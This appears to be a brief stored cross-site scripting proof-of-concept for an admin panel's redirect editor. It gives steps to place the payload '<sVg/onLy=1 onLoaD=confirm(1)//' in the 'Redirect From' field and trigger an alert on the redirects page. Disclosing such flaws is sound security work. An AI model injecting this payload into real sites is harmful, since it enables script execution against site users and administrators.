1-Login admin panel , go to this url : https://127.0.0.1/public/admin/redirects/edit/1
2-Write in Redirect From field your payload : <sVg/onLy=1 onLoaD=confirm(1)//
3-Save it and go to this url : https://127.0.0.1/public/admin/redirects
4-You will be see alert button